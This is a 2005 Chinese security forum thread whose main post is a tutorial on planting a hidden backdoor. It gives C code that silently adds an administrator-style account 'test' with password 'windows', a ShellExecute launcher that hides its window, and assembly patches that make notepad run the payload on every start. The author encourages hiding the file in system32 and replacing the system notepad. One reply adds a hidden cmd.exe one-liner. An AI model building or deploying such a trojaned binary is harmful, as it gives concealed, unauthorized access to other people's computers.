首页
论坛
专栏
课程

狗尾续貂之再谈逆向工程打造隐蔽的后门(简单,高手勿入)

2005-5-31 17:17 4874

狗尾续貂之再谈逆向工程打造隐蔽的后门(简单,高手勿入)

2005-5-31 17:17
4874
本文测试平台:windows xp sp2, vc++6.0

我很喜欢孟方明[-273]的文章,很有启发性,常常是show一种思路,而不仅仅是一种方法。
《逆向工程打造隐蔽的后门》中的添加用户的后门,还没有做到真正的隐蔽,因为有2次会闪过
dos(我也不知道改叫什么窗口,暂且叫dos吧)窗口。但是孟方明提供了思路,我等菜鸟花了数星期研究之后,
小有心得,拿出来给大家分享,下面我来给出方法:

开始真正的测试之前,先看下面的下面这个程序代码(相信菜鸟也可以看懂):

//测试程序,作用添加一个用户test并修改密码为windows
//AddUser.cpp
#include <windows.h>

int main(int argc, char* argv[])
{
        system("net user test /add");
        system("net user test windows");

        system("pause");        //暂停程序,以便查看程序是否成功运行,实际应用时去掉
        return 0;
}

编译一下,将生成的程序重命名为AddUser.exe,运行(如图1)

没有关系,赶紧删除test这个用户

再来看看下面的代码:

// ExecuteAddUser.cpp
#include <windows.h>

int main(int argc, char* argv[])
{
        ShellExecute(0, "open", "AddUser.exe", "",  "", SW_HIDE);        //注意SW_HIDE

        system("pause");                //暂停程序,以便查看程序是否成功运行,实际应用时去掉
        return 0;
}

也编译一下,生成ExecuteAddUser.exe,现在把AddUser.exe复制到ExecuteAddUser.exe所在的目录。
运行ExecuteAddUser.exe, 嘿嘿,你没有看到AddUser.exe闪过dos窗口吧。去看看系统用户,
看到test用户了吧。为什么没有显示窗口呢?上面已经表示出来了这里的参数SW_HIDE就是不显示窗口
的意思,详细描述请查阅MSDN。而且进程列表里面没有cmd.exe

到这里我们的具体思路就已经出来了:
只要把ExecuteAddUser.exe的代码嵌入到某一个程序里面(假设这里是A.exe),这样每次运行A.exe就
会执行我们的AddUser.exe,如果把ExecuteAddUser.exe的代码嵌入到记事本,嘿嘿,那么这个用户就
很难从机器上消失了,是不是有点强盗逻辑。

想法是好的,但是要嵌入到某一个程序里面,就需要注意这里的参数SW_HIDE了,因为我们嵌入的时候,
代码不能用SW_HIDE。其实SW_HIDE是微软定义的一个宏而已,我想到一个比较傻的办法来解决这个问题。
在vc++的目录搜索。可能很多人没有用过系统的高级搜索功能,具体用法请看图2,终于在WINUSER.H中
找到如下定义:
/*
* ShowWindow() Commands
*/
#define SW_HIDE             0
中间的省略。
#define SW_MAX              11

可以看到SW_HIDE被定义为1。

问题解决了,去掉AddUser.cpp中的system("pause"); 去掉再次编译为AddUser.exe,复制到D盘(这里只是测试,实际上可能会被放到
c:\windows\system32\......,藏得越深越好啊)。

剩下的事情就很简单了基本上就是和孟方明的操作一样。修改如下:

原来的记事本入口:

01006AE0 > $  6A 70         PUSH 70
01006AE2   .  68 88180001   PUSH notepad.01001888
01006AE7   .  E8 BC010000   CALL notepad.01006CA8

修改为:

01006AE0 > $ /E9 BB120000   JMP notepad_.01007DA0
01006AE5   > |90            NOP
01006AE6   . |90            NOP
01006AE7   . |E8 BC010000   CALL notepad_.01006CA8

在01007D74添加如下字符:

01007D74   .  64 3A 5C 5C 4>ASCII "d:\\AddUser.exe",0
01007D84   .  6F 70 65 6E 0>ASCII "open",0

修改01007DA0为:
01007DA0   > \60            PUSHAD
01007DA1   .  6A 00         PUSH 0                                   ; /IsShown = 0
01007DA3   .  6A 00         PUSH 0                                   ; |DefDir = NULL
01007DA5   .  6A 00         PUSH 0                                   ; |Parameters = NULL
01007DA7   .  68 747D0001   PUSH notepad_.01007D74                   ; |FileName = "d:\\AddUser.exe"
01007DAC   .  68 847D0001   PUSH notepad_.01007D84                   ; |Operation = "open"
01007DB1   .  6A 00         PUSH 0                                   ; |hWnd = NULL
01007DB3   .  90            NOP                                      ; |
01007DB4   .  90            NOP                                      ; |
01007DB5   .  90            NOP                                      ; |
01007DB6   .  E8 FEAB3F76   CALL SHELL32.ShellExecuteA               ; \ShellExecuteA
01007DBB   .  61            POPAD
01007DBC   .  6A 70         PUSH 70
01007DBE   .  68 88180001   PUSH notepad_.01001888
01007DC3   .^ E9 1DEDFFFF   JMP notepad_.01006AE5

修改完成后保存为note_test.exe,运行,哈哈,没有看到dos窗口吧,看看系统用户吧,有个test吧,呵呵
成功。现在修改路径AddUser.exe的路径吧,别忘了在记事本里修改啊,也不要忘了覆盖系统的记事本,除非
别人不用记事本,否则。。。。。。呵呵.。

感谢孟方明给大家带来的精彩思路。

[公告]安全服务和外包项目请将项目需求发到看雪企服平台:https://qifu.kanxue.com

最新回复 (7)
nbw 24 2005-5-31 17:18
2
0
学习,回头研究研究
huoshan 2005-6-1 03:26
3
0
不如直接利用cmd.exe
ShellExecute(Handle,NULL,"cmd.exe","/C net user test /add",NULL,SW_HIDE);
ngaut 6 2005-6-1 09:01
4
0
多谢 huoshan 兄指点,受教了
nbw 24 2005-6-1 16:18
5
0
呵呵。刚开始谁都不会。看看AddUser.exe里面代码应该不麻烦,可以直接嵌入到记事本。SW_HIDE这些宏参数一般都可以在windows.h文件里面找到。你这种后门的方法实用性都不算太强,因为毕竟不好传染阿。
lee 3 2005-6-1 17:28
6
0
支持!!!!!!学习!!!
落叶树 2005-6-13 00:45
7
0
呵呵,想不到无敌的帖子在这里还有续集,叫他来看看才行
zft 2005-6-24 15:14
8
0
顶。。。。。。。。。。。。。
游客
登录 | 注册 方可回帖
返回